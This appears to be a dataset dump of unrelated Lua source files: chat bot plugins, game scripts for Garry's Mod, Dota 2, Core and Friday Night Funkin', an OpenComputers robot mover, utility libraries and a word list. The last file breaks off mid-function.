content
stringlengths
5
1.05M
do local google_config = load_from_file('data/google.lua') local function httpsRequest(url) print(url) local res,code = https.request(url) if code ~= 200 then return nil end return json:decode(res) end function get_yt_data (yt_code) local url = 'https://www.googleapis.com/youtube/v3/videos?' url = url .. 'id=' .. URL.escape(yt_code) .. '&part=snippet' if google_config.api_keys then local i = math.random(#google_config.api_keys) local api_key = google_config.api_keys[i] if api_key then url = url.."&key="..api_key end end return httpsRequest(url) end function send_youtube_data(data, receiver) local title = data.title local description = data.description local uploader = data.channelTitle local text = title..' ('..uploader..')\n'..description local image_url = data.thumbnails.high.url or data.thumbnails.default.url local cb_extra = { receiver = receiver, url = image_url } send_msg(receiver, text, send_photo_from_url_callback, cb_extra) end function run(msg, matches) local yt_code = matches[1] local data = get_yt_data(yt_code) if data == nil or #data.items == 0 then return "I didn't find info about that video." end local senddata = data.items[1].snippet local receiver = get_receiver(msg) send_youtube_data(senddata, receiver) end return { description = "Sends YouTube info and image.", usage = "", patterns = { "youtu.be/([_A-Za-z0-9-]+)", "youtube.com/watch%?v=([_A-Za-z0-9-]+)", }, run = run } end
--[[ Copyright 2020 Matthew Hesketh <matthew@matthewhesketh.com> This code is licensed under the MIT. See LICENSE for details. ]] local dismiss = {} local mattata = require('mattata') function dismiss.on_callback_query(_, _, message) if message then return mattata.delete_message(message.chat.id, message.message_id) end return end return dismiss
--[[------------------------------------ Name: NEXTBOT:SetupTaskList Desc: Used to setup bot's list of tasks. Arg1: table | list | List of tasks add new tasks to. Ret1: --]]------------------------------------ function ENT:SetupTaskList(list) end --[[------------------------------------ Name: NEXTBOT:SetupTasks Desc: Used to start behaviour tasks on spawn Arg1: Ret1: --]]------------------------------------ function ENT:SetupTasks() end --[[------------------------------------ Name: NEXTBOT:RunTask Desc: Runs active tasks callbacks with given event. Arg1: string | event | Event of hook. Arg*: vararg | Arguments to callback. NOTE: In callback, first argument is always bot entity, second argument is always task data, passed arguments from NEXTBOT:RunTask starts at third argument. Ret*: vararg | Callback return. --]]------------------------------------ function ENT:RunTask(event,...) local m_ActiveTasksNum = self.m_ActiveTasksNum if !m_ActiveTasksNum then return end local m_TaskList = self.m_TaskList local PassedTasks = {} local k = 1 while true do local v = m_ActiveTasksNum[k] if !v then break end local task,data = v[1],v[2] if PassedTasks[task] then k = k+1 continue end PassedTasks[task] = true local callback = m_TaskList[task][event] if callback then local args = {callback(self,data,...)} if args[1]!=nil then if args[2]==nil then return args[1] else return unpack(args) end end while k>0 do local cv = m_ActiveTasksNum[k] if cv==v then break end k = k-1 end end k = k+1 end end --[[------------------------------------ Name: NEXTBOT:RunCurrentTask Desc: Runs one given task callback with given event. Arg1: any | task | Task name. Arg2: string | event | Event of hook. Arg*: vararg | Arguments to callback. NOTE: In callback, first argument is always bot entity, second argument is always task data, passed arguments from NEXTBOT:RunTask starts at third argument. Ret*: vararg | Callback return. --]]------------------------------------ function ENT:RunCurrentTask(task,event,...) if !self:IsTaskActive(task) then return end local k,v = task,self.m_ActiveTasks[task] local dt = self.m_TaskList[k] if !dt or !dt[event] then return end local args = {dt[event](self,v,...)} if args[1]!=nil then if args[2]==nil then return args[1] else return unpack(args) end end end --[[------------------------------------ Name: NEXTBOT:StartTask Desc: Starts new task with given data and calls 'OnStart' task callback. Does nothing if given task already started. Arg1: any | task | Task name. Arg2: (optional) table | data | Task data. Ret1: --]]------------------------------------ function ENT:StartTask(task,data) if self:IsTaskActive(task) then return end data = data or {} self.m_ActiveTasks[task] = data local m_ActiveTasksNum = self.m_ActiveTasksNum if !m_ActiveTasksNum then m_ActiveTasksNum = {} self.m_ActiveTasksNum = m_ActiveTasksNum end m_ActiveTasksNum[#m_ActiveTasksNum+1] = {task,data} self:RunCurrentTask(task,"OnStart") end --[[------------------------------------ Name: NEXTBOT:TaskComplete Desc: Calls 'OnComplete' and 'OnDelete' task callbacks and deletes task. Does nothing if given task not started. Arg1: any | task | Task name. Ret1: --]]------------------------------------ function ENT:TaskComplete(task) if !self:IsTaskActive(task) then return end self:RunCurrentTask(task,"OnComplete") self:RunCurrentTask(task,"OnDelete") self.m_ActiveTasks[task] = nil local m_ActiveTasksNum = self.m_ActiveTasksNum for i=1,#m_ActiveTasksNum do if m_ActiveTasksNum[i][1]==task then table.remove(m_ActiveTasksNum,i) break end end end --[[------------------------------------ Name: NEXTBOT:TaskFail Desc: Calls 'OnFail' and 'OnDelete' task callbacks and deletes task. Does nothing if given task not started. Arg1: any | task | Task name. Ret1: --]]------------------------------------ function ENT:TaskFail(task) if !self:IsTaskActive(task) then return end self:RunCurrentTask(task,"OnFail") self:RunCurrentTask(task,"OnDelete") self.m_ActiveTasks[task] = nil local m_ActiveTasksNum = self.m_ActiveTasksNum for i=1,#m_ActiveTasksNum do if m_ActiveTasksNum[i][1]==task then table.remove(m_ActiveTasksNum,i) break end end end --[[------------------------------------ Name: NEXTBOT:IsTaskActive Desc: Returns whenever given task exists or not. Arg1: any | task | Task name. Ret1: bool | Returns true if task exists, false otherwise. --]]------------------------------------ function ENT:IsTaskActive(task) return self.m_ActiveTasks[task] and true or false end
-- Copyright 2016 KeNan Liu -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. rd.global.TestButton = {} function TestButton.newColorButton(text, clicked) local btn = rd.drawRect.new(300, 80) :setColor(242, 150, 83, 255) :onTouch(function (target, name, points) -- single touch mode if name == "began" then target.children[1]:setColor(0, 0, 0, 255) end if name == "ended" then target.children[1]:setColor(255, 255, 255, 255) clicked(target) end end) local labelInfo = rd.label.TTF.new(text, 40, "Arial", {255, 255, 255, 255}, rd.label.CENTER) :addTo(btn) return btn end function TestButton.homeButton() local btnWidth = 100 local btnHeight = 60 local btn = rd.drawRect.new(btnWidth, btnHeight) :setColor(242, 150, 83, 255) :onTouch(function (target, name, points) -- single touch mode if name == "began" then target.children[1]:setColor(0, 0, 0, 255) end if name == "ended" then target.children[1]:setColor(255, 255, 255, 255) rd.director.runScene(require("game.mainscene").new()) end end) :setPos(rd.screen.left + btnWidth / 2, rd.screen.top - btnHeight / 2) local labelInfo = rd.label.TTF.new("Home", 25, "Arial", {255, 255, 255, 255}, rd.label.CENTER) :addTo(btn) return btn end function TestButton.preButton(callback) local btn = rd.sprite.new("btnPrevious.png") :setPos(rd.screen.left + 50, rd.screen.bottom + 50) :onTouch(function (target, name, points) -- single touch mode if name == "began" then target:setColor(255, 255, 255, 150) end if name == "ended" then target:setColor(255, 255, 255, 255) callback(target) end end) return btn end function TestButton.nextButton(callback) local btn = rd.sprite.new("btnNext.png") :setPos(rd.screen.right - 50, rd.screen.bottom + 50) :onTouch(function (target, name, points) -- single touch mode if name == "began" then target:setColor(255, 255, 255, 150) end if name == "ended" then target:setColor(255, 255, 255, 255) callback(target) end end) return btn end
#! /usr/bin/lua local arc4 = require( "arc4random" ) for i = 1, 100 do print( ( "%.3f" ):format( arc4.random() ) ) end print( arc4.random() ) print( arc4.random( 3 ) ) print( arc4.random( -5, 5 ) ) local str = arc4.buf( 16 ) str = str:gsub( "(.)", function( c ) return ( "%02x" ):format( string.byte( c ) ) end ) print( str )
local computer = require "computer" local fs = require "filesystem" local robot = require "robot" local serial=require "serialization" local shell = require "shell" NORTH = 0 EAST = 1 SOUTH = 2 WEST = 3 t = {} local args, options = shell.parse(...) function file_exists(name) local f=io.open(name,"r") if f~=nil then io.close(f) return true else return false end end function save_table(fn,table) local f=io.open(fn,"w") f:write(serial.serialize(table)) f:close() end function load_table(fn) local f=io.open(fn,"r") local txt=f:read("*all") f:close() tab = serial.unserialize(txt) return tab end function t.savePos() local pos = {} pos.x = t.x pos.y = t.y pos.z = t.z pos.f = t.f save_table("pos",pos) end function t.getPos() if file_exists("pos")==false then --pos = {} t.x=13 t.y=75 t.z=212 t.f=NORTH else local pos = load_table("pos") t.x = pos.x t.y = pos.y t.z = pos.z t.f = pos.f end end function cRight(f) f = (f + 1) % 4 return f end function cLeft(f) f = (f - 1) % 4 return f end function t.right(n) n = n or 1 for i=1,n do robot.turnRight() t.f = (t.f + 1) % 4 t.savePos() end end function t.left(n) n = n or 1 for i=1,n do robot.turnLeft() t.f = (t.f - 1) % 4 t.savePos() end end function t.rotate_to(to_f) local my_f = t.f if my_f~=to_f then local cl=0 local cr=0 --test left first local temp=my_f while temp~=to_f do temp=cLeft(temp) cl=cl+1 end --test right temp=my_f while temp~=to_f do temp=cRight(temp) cr=cr+1 end if cl>cr then --print 'turnRight * %d'%cr t.right(cr) elseif cl<cr then --print 'turnLeft * %d'%cl t.left(cl) else --print('doesnt matter * %d'%cl t.right(cr) end end end function t.f_e() if t.f~=EAST then t.rotate_to(EAST) t.savePos() end end function t.f_w() if t.f~=WEST then t.rotate_to(WEST) t.savePos() end end function t.f_s() if t.f~=SOUTH then t.rotate_to(SOUTH) t.savePos() end end function t.f_n() if t.f~=NORTH then t.rotate_to(NORTH) t.savePos() end end --function t.try_move(x,y,z,f) --end function calc_deltas(p0,p1) local delta = (p0*-1)+p1 return delta end function t.to_x(x) local delta = (t.x*-1)+x print('delta x:', delta) if delta<0 then --aboutface t.f_w() print('facing west') for i=1,math.abs(delta) do robot.forward() t.x = t.x - 1 t.savePos() print('t.x->', t.x) end elseif delta>0 then t.f_e() print('facing east') for i=1,math.abs(delta) do robot.forward() t.x = t.x + 1 t.savePos() print('t.x->', t.x) end end end function t.to_y(y) local delta = (t.y*-1)+y print('delta z:',delta) if delta>0 then print('going up') for i=1,math.abs(delta) do robot.up() t.y = t.y + 1 t.savePos() end elseif delta<0 then print('going down') for i=1,math.abs(delta) do robot.down() t.y = t.y - 1 t.savePos() end end end function t.to_z(z) local delta = (t.z*-1)+z print('delta z:',delta) if delta>0 then --aboutface t.f_s() print('facing south') --mc coords are stupid for i=1,math.abs(delta) do local success = robot.forward() t.z = t.z + 1 t.savePos() --print('t.z->', t.z) end elseif delta<0 then t.f_n() print('facing north') for i=1,math.abs(delta) do robot.forward() t.z = t.z - 1 t.savePos() --print('t.z->', t.z) end end end function t.gt(ix,iy,iz) t.to_x(ix) t.to_y(iy) t.to_z(iz) end function main() if #args~=3 then print("usage: test.lua <x> <y> <z>") else for a=1,#args do --print('arg:',a,args[a]) args[a] = tonumber(args[a]) end t.x = args[1] t.y = args[2] t.z = args[3] t.savePos() end end main()
local class = require '30log' yield = coroutine.yield local enumerator = class() function enumerator:init(source, length) assert(type(source) == 'table' or type(source) == 'function') local source_type = type(source) if source_type == 'function' then self.source = source else self.source = enumerator.wrap(source) end self.generator = coroutine.create(self.source) self.length = length end function enumerator.wrap(t) assert(type(t) == 'table') return function() for k, v in ipairs(t) do coroutine.yield(v) end end end function enumerator:next(i) return coroutine.resume(self.generator) end function enumerator:skip(n) local new = enumerator(self.source) for i = 1, n do new:next() end return new end function enumerator:take(n) return enumerator(self.source, n) end function enumerator:map(f) return enumerator(function() for k, v in iter(self) do coroutine.yield(f(v)) end end) end function enumerator:filter(f) return enumerator(function() for k, v in iter(self) do if f(v) then coroutine.yield(v) end end end) end function enumerator:totable() local t = {} for k, v in iter(self) do t[k] = v end return t end function iter_next(e, i) if e.length and i + 1 > e.length then return end local next = { e:next() } local status = table.remove(next, 1) local args = next local k = i + 1 if not e.length and coroutine.status(e.generator) == 'dead' then return end if status then return k, table.unpack(args) end end function iter(e) return iter_next, e, 0 end return { iter = iter, enumerator = enumerator }
local class = require('src.Utils.MiddleClass'); local Sequence = require('src.Sequence'); --- Executes each child nodes sequentially until one node returns `failure()`, --- or all nodes returns `success()`. If every child nodes returns `success()`, --- the `ReactiveSequence` node returns `success()` too, otherwise returns `failure()`. --- If a node returns `running()`, the `ReactiveSequence` node will restart the sequence. ---@class ReactiveSequence: Sequence local ReactiveSequence = class('ReactiveSequence', Sequence); function ReactiveSequence:running() self._running = false; self._actualTask = 1; self._parent:running(); end return ReactiveSequence;
local counts = {} local gamma, epsilon = '', '' for line in io.lines() do for i = 1, #line do local n = line:sub(i, i) if counts[i] == nil then counts[i] = 0 end if n == '1' then counts[i] = counts[i] + 1 elseif n == '0' then counts[i] = counts[i] - 1 else error('Unknown character: '..n) end end end for _,v in ipairs(counts) do if v > 0 then gamma = gamma .. '1' epsilon = epsilon .. '0' else gamma = gamma .. '0' epsilon = epsilon .. '1' end end print(gamma, tonumber(gamma, 2)) print(epsilon, tonumber(epsilon, 2)) print(tonumber(gamma, 2) * tonumber(epsilon, 2))
return [[xantham xanthan xanthate xanthates xanthein xanthene xanthian xanthic xanthin xanthine xanthium xanthoma xanthomas xanthomata xanthopsia xanthous xanthoxyl xebec xebecs xenarthral xenia xenial xenium xenobiotic xenocryst xenocrysts xenogamy xenogenous xenograft xenografts xenolith xenoliths xenomania xenon xenophile xenophiles xenophobe xenophobes xenophobia xenophoby xenophya xenotime xerafin xerafins xeransis xerantic xerarch xerasia xeric xeroderma xerodermia xerodermic xerography xeroma xeromas xeromata xeromorph xeromorphs xerophagy xerophily xerophyte xerophytes xerophytic xerosis xerostoma xerostomia xerotes xerotic xi xiphoid xiphoidal xiphopagic xiphopagus xiphosuran xoana xoanon xu xylem xylene xylenes xylenol xylenols xylic xylitol xylocarp xylocarps xylogen xylogenous xylograph xylographs xylography xyloid xyloidin xylol xylology xylols xyloma xylomas xylometer xylometers xylonic xylophagan xylophage xylophages xylophone xylophones xylophonic xylorimba xylorimbas xylose xylotomous xylyl xylyls xyst xyster xysters xysti xystoi xystos xysts xystus]]
local _Constants_API = require(script:GetCustomProperty("Constants_API")) local Images = _Constants_API:WaitForConstant("PORTALIMAGES") local imageHolder1 =Images.ImageHolder1 -- title card and all tanks local imageHolder2 =Images.ImageHolder2 -- all premium shop and all skins local holder1Index = { ["title"] = 1, ["allies1"] = 2, ["allies2"] = 3, ["axis1"] = 4, ["axis2"] = 5 } local holder2Index = { ["bundles"] = 1, ["conversion"] = 2, ["premium"] = 3, ["unique"] = 4, ["universal"] = 5 } local tankGridSize = Vector2.New(3, 3) local alliesIndex = { [1] = {index = "allies1", coordinates = Vector2.New(1, 1)}, [2] = {index = "allies1", coordinates = Vector2.New(2, 1)}, [3] = {index = "allies1", coordinates = Vector2.New(3, 1)}, [4] = {index = "allies1", coordinates = Vector2.New(1, 2)}, [5] = {index = "allies1", coordinates = Vector2.New(3, 2)}, [6] = {index = "allies1", coordinates = Vector2.New(1, 3)}, [7] = {index = "allies1", coordinates = Vector2.New(2, 2)}, [8] = {index = "allies2", coordinates = Vector2.New(2, 3)}, [9] = {index = "allies1", coordinates = Vector2.New(2, 3)}, [10] = {index = "allies1", coordinates = Vector2.New(3, 3)}, [11] = {index = "allies2", coordinates = Vector2.New(1, 1)}, [12] = {index = "allies2", coordinates = Vector2.New(2, 1)}, [13] = {index = "allies2", coordinates = Vector2.New(3, 1)}, [14] = {index = "allies2", coordinates = Vector2.New(3, 2)}, [15] = {index = "allies2", coordinates = Vector2.New(1, 2)}, [16] = {index = "allies2", coordinates = Vector2.New(2, 2)}, [17] = {index = "allies2", coordinates = Vector2.New(1, 3)} } local axisIndex = { [18] = {index = "axis1", coordinates = Vector2.New(1, 1)}, [19] = {index = "axis1", coordinates = Vector2.New(2, 1)}, [20] = {index = "axis1", coordinates = Vector2.New(3, 1)}, [21] = {index = "axis1", coordinates = Vector2.New(1, 2)}, [22] = {index = "axis1", coordinates = Vector2.New(2, 2)}, [23] = {index = "axis1", coordinates = Vector2.New(3, 2)}, [24] = {index = "axis1", coordinates = Vector2.New(1, 3)}, [25] = {index = "axis1", coordinates = Vector2.New(2, 3)}, [26] = {index = "axis1", coordinates = Vector2.New(3, 3)}, [27] = {index = "axis2", coordinates = Vector2.New(1, 1)}, [28] = {index = "axis2", coordinates = Vector2.New(2, 1)}, [29] = {index = "axis2", coordinates = Vector2.New(3, 1)}, [30] = {index = "axis2", coordinates = Vector2.New(1, 2)}, [31] = {index = "axis2", coordinates = Vector2.New(2, 2)}, [32] = {index = "axis2", coordinates = Vector2.New(3, 2)}, [33] = {index = "axis2", coordinates = Vector2.New(1, 3)} } local premiumBundlesSize = Vector2.New(3, 3) local premiumTanksSize = Vector2.New(2, 2) local premiumBundlesIndex = { ["silver1"] = Vector2.New(1, 1), ["silver2"] = Vector2.New(3, 1), ["silver3"] = Vector2.New(2, 2), ["gold1"] = Vector2.New(2, 1), ["gold2"] = Vector2.New(1, 2), ["gold3"] = Vector2.New(3, 2), ["deal1"] = Vector2.New(1, 3), ["deal2"] = Vector2.New(2, 3), ["deal3"] = Vector2.New(3, 3), ["convert"] = Vector2.New(1, 1), ["premiumTank1"] = Vector2.New(1, 1), ["premiumTank2"] = Vector2.New(2, 1) } local skinsGridSize = Vector2.New(5, 5) local API = {} function API.GetTitleCardImageInfo() return {link = imageHolder1, index = holder1Index["title"]} end function API.PositionImage(image, coordinates, size) image.x = -(coordinates.x - 1) * (image.width / size.x) image.y = -(coordinates.y - 1) * (image.height / size.y) end function API.SetTankImage(image, tankID) local screenshotIndex = nil local imageCoordinates = nil if alliesIndex[tonumber(tankID)] then screenshotIndex = holder1Index[alliesIndex[tonumber(tankID)].index] imageCoordinates = alliesIndex[tonumber(tankID)].coordinates elseif axisIndex[tonumber(tankID)] then screenshotIndex = holder1Index[axisIndex[tonumber(tankID)].index] imageCoordinates = axisIndex[tonumber(tankID)].coordinates end if not screenshotIndex or not imageCoordinates then return end image:SetGameScreenshot(imageHolder1, screenshotIndex) API.PositionImage(image, imageCoordinates, tankGridSize) image:SetColor(Color.WHITE) end function API.SetPremiumShopImage(image, holderIndex, bundleIndex) image:SetGameScreenshot(imageHolder2, holder2Index[holderIndex]) if bundleIndex ~= "convert" then local size = premiumBundlesSize if string.find("Tank", bundleIndex) then size = premiumTanksSize end API.PositionImage(image, premiumBundlesIndex[bundleIndex], size) end end function API.GetSkinsImageInfo(skinType) return {link = imageHolder2, index = holder2Index[skinType], skinsGridSize} end _G.PORTAL_IMAGES = API
local config = { [1] = { id = 1, name = "monster_name_1", type=1, body_res_id=1, weapon_res_id=1, fight_type=1, max_hp=1000, attr_list = {[1]=100,[2]=100}, move_speed=100, skill_list={}, }, } return config
local GUICR = {} GUICR.IdentityCat = "gui_customranges_cat" GUICR.IdentityMain = "gui_customranges_main" GUICR.IdentityCustom = "gui_customranges_range_" GUICR.Ranges = {} GUICR.Additional = {} GUICR.Locale = { ["catname"] = { ["english"] = "Custom ranges", ["russian"] = "ะ”ะธะฐะฟะฐะทะพะฝั‹", ["chinese"] = "่‡ชๅฎš็พฉ็ฏ„ๅœ" }, ["name"] = { ["english"] = "Main", ["russian"] = "ะ“ะปะฐะฒะฝั‹ะน", ["chinese"] = "ไธป่ฆ" }, ["desc"] = { ["english"] = "Different awareness settings", ["russian"] = "ะ ะฐะทะปะธั‡ะฝั‹ะต ะฝะฐัั‚ั€ะพะนะบะธ ัƒะฒะตะดะพะผะปะตะฝะธะน", ["chinese"] = "ๅ„็จฎ้€š็Ÿฅ่จญ็ฝฎ" }, ["action"] = { ["english"] = "Click on button to add new custom range", ["russian"] = "ะะฐะถะผะธั‚ะต ะฝะฐ ะบะฝะพะฟะบัƒ ั‡ั‚ะพะฑั‹ ะดะพะฑะฐะฒะธั‚ัŒ ะฝะพะฒั‹ะน ะดะธะฐะฟะฐะทะพะฝ", ["chinese"] = "้ปžๆ“ŠๆŒ‰้ˆ•ๆทปๅŠ ๆ–ฐ็š„่‡ชๅฎš็พฉ็ฏ„ๅœ" }, ["new"] = { ["english"] = "Add new range", ["russian"] = "ะ”ะพะฑะฐะฒะธั‚ัŒ", ["chinese"] = "ๆทปๅŠ ๆ–ฐ็š„็ฏ„ๅœ" }, ["width"] = { ["english"] = 125, ["russian"] = 87, ["chinese"] = 110 }, ["showrange"] = { ["english"] = "Show range from hero to cursor", ["russian"] = "ะŸะพะบะฐะทั‹ะฒะฐั‚ัŒ ั€ะฐััั‚ะพัะฝะธะต ะพั‚ ะณะตั€ะพั ะดะพ ะบัƒั€ัะพั€ะฐ", ["chinese"] = "้กฏ็คบๅพž่‹ฑ้›„ๅˆฐๅ…‰ๆจ™็š„็ฏ„ๅœ" }, ["range"] = { ["english"] = "Range ", ["russian"] = "ะšั€ัƒะณ ", ["chinese"] = "็ฏ„ๅœ " }, ["settings_range"] = { ["english"] = "Settings for custom range # ", ["russian"] = "ะะฐัั‚ั€ะพะนะบะธ ะดะธะฐะฟะฐะทะพะฝะฐ # ", ["chinese"] = "่‡ชๅฎš็พฉ็ฏ„ๅœ่จญ็ฝฎ๏ผƒ " }, ["red"] = { ["english"] = "Red", ["russian"] = "ะšั€ะฐัะฝั‹ะน", ["chinese"] = "็ด…" }, ["green"] = { ["english"] = "Green", ["russian"] = "ะ—ะตะปั‘ะฝั‹ะน", ["chinese"] = "็ถ ่‰ฒ" }, ["blue"] = { ["english"] = "Blue", ["russian"] = "ะกะธะฝะธะน", ["chinese"] = "่—่‰ฒ" } } function GUICR.OnDraw() if GUI == nil then return end if not GUI.Exist(GUICR.IdentityCat) then Cat_Object = {} Cat_Object["perfect_name"] = GUICR.Locale["catname"] Cat_Object["perfect_desc"] = '' Cat_Object["perfect_author"] = 'paroxysm' Cat_Object["iscat"] = true Cat_Object["category"] = GUI.Category.General GUI.Initialize(GUICR.IdentityCat, Cat_Object) local GUI_TestSub = {} GUI_TestSub["perfect_name"] = GUICR.Locale["name"] GUI_TestSub["perfect_desc"] = GUICR.Locale["action"] GUI_TestSub["perfect_author"] = 'paroxysm' GUI_TestSub["cat"] = GUICR.IdentityCat GUI_TestSub["switch"] = false GUI.Initialize(GUICR.IdentityMain, GUI_TestSub) GUI.AddMenuItem(GUICR.IdentityMain, GUICR.IdentityMain .. "_add", GUICR.Locale["new"], GUI.MenuType.Button, GUICR.AddNewRange, GUICR.Locale['width']) GUI.AddMenuItem(GUICR.IdentityMain, GUICR.IdentityMain .. "_showrange", GUICR.Locale["showrange"], GUI.MenuType.CheckBox, 0) end if GUI.IsEnabled(GUICR.IdentityMain .. "_showrange") and Engine.IsInGame() then Renderer.SetDrawColor(0, 0, 0, 220) local x, y = Input.GetCursorPos() Renderer.DrawFilledRect(x - 20, y - 20, 40, 18) Renderer.SetDrawColor(255, 255, 255, 255) Renderer.DrawTextCentered(GUI.Font.UltraSmallBold, x, y - 11, math.floor(Entity.GetOrigin(Heroes.GetLocal()):Distance(Input.GetWorldCursorPos()):Length2D()), false) end end function GUICR.AddNewRange() local x = Length(GUICR.Additional) local GUI_TestSub = {} GUI_TestSub["number"] = x GUI_TestSub["perfect_name"] = GUICR.Locale['range'][GUI.SelectedLanguage] .. (x + 1) GUI_TestSub["perfect_desc"] = GUICR.Locale['settings_range'][GUI.SelectedLanguage] .. (x + 1) GUI_TestSub["perfect_author"] = 'paroxysm' GUI_TestSub["cat"] = GUICR.IdentityCat GUI_TestSub["switch"] = false GUI.Initialize(GUICR.IdentityCustom .. x .. "_main", GUI_TestSub) GUI.AddMenuItem(GUICR.IdentityCustom .. x .. "_main", GUICR.IdentityCustom .. x, GUICR.Locale['range'][GUI.SelectedLanguage] .. ' #' .. (x + 1), GUI.MenuType.Slider, 100, 5000, 250, GUICR.RangeUpdate) GUI.AddMenuItem(GUICR.IdentityCustom .. x .. "_main", GUICR.IdentityCustom .. x .. "_color_red", GUICR.Locale['red'], GUI.MenuType.Slider, 0, 255, 0, GUICR.ColorUpdate) GUI.AddMenuItem(GUICR.IdentityCustom .. x .. "_main", GUICR.IdentityCustom .. x .. "_color_green", GUICR.Locale['green'], GUI.MenuType.Slider, 0, 255, 255, GUICR.ColorUpdate) GUI.AddMenuItem(GUICR.IdentityCustom .. x .. "_main", GUICR.IdentityCustom .. x .. "_color_blue", GUICR.Locale['blue'], GUI.MenuType.Slider, 0, 255, 0, GUICR.ColorUpdate) GUICR.CreateNewRange(GUICR.IdentityCustom .. x, GUI.Get(GUICR.IdentityCustom .. x), Heroes.GetLocal()) table.insert(GUICR.Additional, GUI_TestSub) end function GUICR.ColorUpdate(identity, value) if Engine.IsInGame() then local id = explode(identity, "_color_") Particle.SetControlPoint(GUICR.Ranges[id[1]], 1, Vector( GUI.Get(id[1] .. "_color_red"), GUI.Get(id[1] .. "_color_green"), GUI.Get(id[1] .. "_color_blue"))) end end function GUICR.RangeUpdate(identity, value) if Engine.IsInGame() then Particle.Destroy(GUICR.Ranges[identity]) GUICR.CreateNewRange(identity, value, Heroes.GetLocal()) end end function GUICR.CreateNewRange(identity, range, object) if object then local Range = Particle.Create("particles\\ui_mouseactions\\drag_selected_ring.vpcf", Enum.ParticleAttachment.PATTACH_ABSORIGIN_FOLLOW, object) Particle.SetControlPoint(Range, 1, Vector(GUI.Get(identity .. "_color_red"), GUI.Get(identity .. "_color_green"), GUI.Get(identity .. "_color_blue"))) Particle.SetControlPoint(Range, 2, Vector(range + 100, 255, 0)) GUICR.Ranges[identity] = Range end end return GUICR
--[[---------------------------------------------------------------------------- This file is part of Friday Night Funkin' Rewritten by HTV04 ------------------------------------------------------------------------------]] weeks = { init = function() bpm = 100 enemyFrameTimer = 0 boyfriendFrameTimer = 0 sounds = { ["miss"] = { love.audio.newSource("sounds/missnote1.ogg", "static"), love.audio.newSource("sounds/missnote2.ogg", "static"), love.audio.newSource("sounds/missnote3.ogg", "static") }, ["death"] = love.audio.newSource("sounds/fnf_loss_sfx.ogg", "static") } sheets = { ["icons"] = love.graphics.newImage("images/iconGrid.png") } sprites = { ["icons"] = love.filesystem.load("sprites/icons.lua") } girlfriend = love.filesystem.load("sprites/girlfriend.lua")() boyfriend = love.filesystem.load("sprites/boyfriend.lua")() enemyIcon = sprites["icons"]() boyfriendIcon = sprites["icons"]() enemyIcon.y = 350 enemyIcon.sizeX, enemyIcon.sizeY = 1.5, 1.5 boyfriendIcon.y = 350 boyfriendIcon.sizeX, boyfriendIcon.sizeY = -1.5, 1.5 for i = 1, 3 do sounds["miss"][i]:setVolume(0.25) end end, load = function() gameOver = false cam.x, cam.y = -boyfriend.x + 50, -boyfriend.y + 50 girlfriendFrameTimer = 0 enemy:animate("idle") boyfriend:animate("idle") graphics.fadeIn(1) end, initUI = function() events = {} enemyNotes = {} boyfriendNotes = {} health = 50 score = 0 sheets["notes"] = love.graphics.newImage("images/NOTE_assets.png") sprites["left arrow"] = love.filesystem.load("sprites/left-arrow.lua") sprites["down arrow"] = love.filesystem.load("sprites/down-arrow.lua") sprites["up arrow"] = love.filesystem.load("sprites/up-arrow.lua") sprites["right arrow"] = love.filesystem.load("sprites/right-arrow.lua") enemyArrows = { sprites["left arrow"](), sprites["down arrow"](), sprites["up arrow"](), sprites["right arrow"]() } boyfriendArrows= { sprites["left arrow"](), sprites["down arrow"](), sprites["up arrow"](), sprites["right arrow"]() } for i = 1, 4 do enemyArrows[i].x = -925 + 165 * i enemyArrows[i].y = -400 boyfriendArrows[i].x = 100 + 165 * i boyfriendArrows[i].y = -400 end end, generateNotes = function(chart) speed = chart.speed local bpm = 100 for i = 1, #chart do local oldBpm = bpm bpm = chart[i].bpm if not bpm then bpm = oldBpm end for j = 1, #chart[i].sectionNotes do local sprite local x local mustHitSection = chart[i].mustHitSection local noteType = chart[i].sectionNotes[j].noteType local noteTime = chart[i].sectionNotes[j].noteTime if j == 1 then table.insert(events, {eventTime = chart[i].sectionNotes[1].noteTime, mustHitSection = mustHitSection, bpm = bpm}) end if noteType == 0 or noteType == 4 then sprite = sprites["left arrow"] elseif noteType == 1 or noteType == 5 then sprite = sprites["down arrow"] elseif noteType == 2 or noteType == 6 then sprite = sprites["up arrow"] elseif noteType == 3 or noteType == 7 then sprite = sprites["right arrow"] end if mustHitSection then if noteType >= 4 then x = enemyArrows[1].x + 165 * (noteType - 4) table.insert(enemyNotes, sprite()) enemyNotes[#enemyNotes].x = x enemyNotes[#enemyNotes].y = -400 + noteTime * 0.6 * speed enemyNotes[#enemyNotes]:animate("on", false) if chart[i].sectionNotes[j].noteLength > 0 then for k = 71 / speed, chart[i].sectionNotes[j].noteLength, 71 / speed do table.insert(enemyNotes, sprite()) enemyNotes[#enemyNotes].x = x enemyNotes[#enemyNotes].y = -400 + (noteTime + k) * 0.6 * speed if k > chart[i].sectionNotes[j].noteLength - 71 / speed then enemyNotes[#enemyNotes].y = enemyNotes[#enemyNotes].y + 10 enemyNotes[#enemyNotes]:animate("end", false) else enemyNotes[#enemyNotes]:animate("hold", false) end end end else x = boyfriendArrows[1].x + 165 * noteType table.insert(boyfriendNotes, sprite()) boyfriendNotes[#boyfriendNotes].x = x boyfriendNotes[#boyfriendNotes].y = -400 + noteTime * 0.6 * speed boyfriendNotes[#boyfriendNotes]:animate("on", false) if chart[i].sectionNotes[j].noteLength > 0 then for k = 71 / speed, chart[i].sectionNotes[j].noteLength, 71 / speed do table.insert(boyfriendNotes, sprite()) boyfriendNotes[#boyfriendNotes].x = x boyfriendNotes[#boyfriendNotes].y = -400 + (noteTime + k) * 0.6 * speed if k > chart[i].sectionNotes[j].noteLength - 71 / speed then boyfriendNotes[#boyfriendNotes].y = boyfriendNotes[#boyfriendNotes].y + 10 boyfriendNotes[#boyfriendNotes]:animate("end", false) else boyfriendNotes[#boyfriendNotes]:animate("hold", false) end end end end else if noteType >= 4 then x = boyfriendArrows[1].x + 165 * (noteType - 4) table.insert(boyfriendNotes, sprite()) boyfriendNotes[#boyfriendNotes].x = x boyfriendNotes[#boyfriendNotes].y = -400 + noteTime * 0.6 * speed boyfriendNotes[#boyfriendNotes]:animate("on", false) if chart[i].sectionNotes[j].noteLength > 0 then for k = 71 / speed, 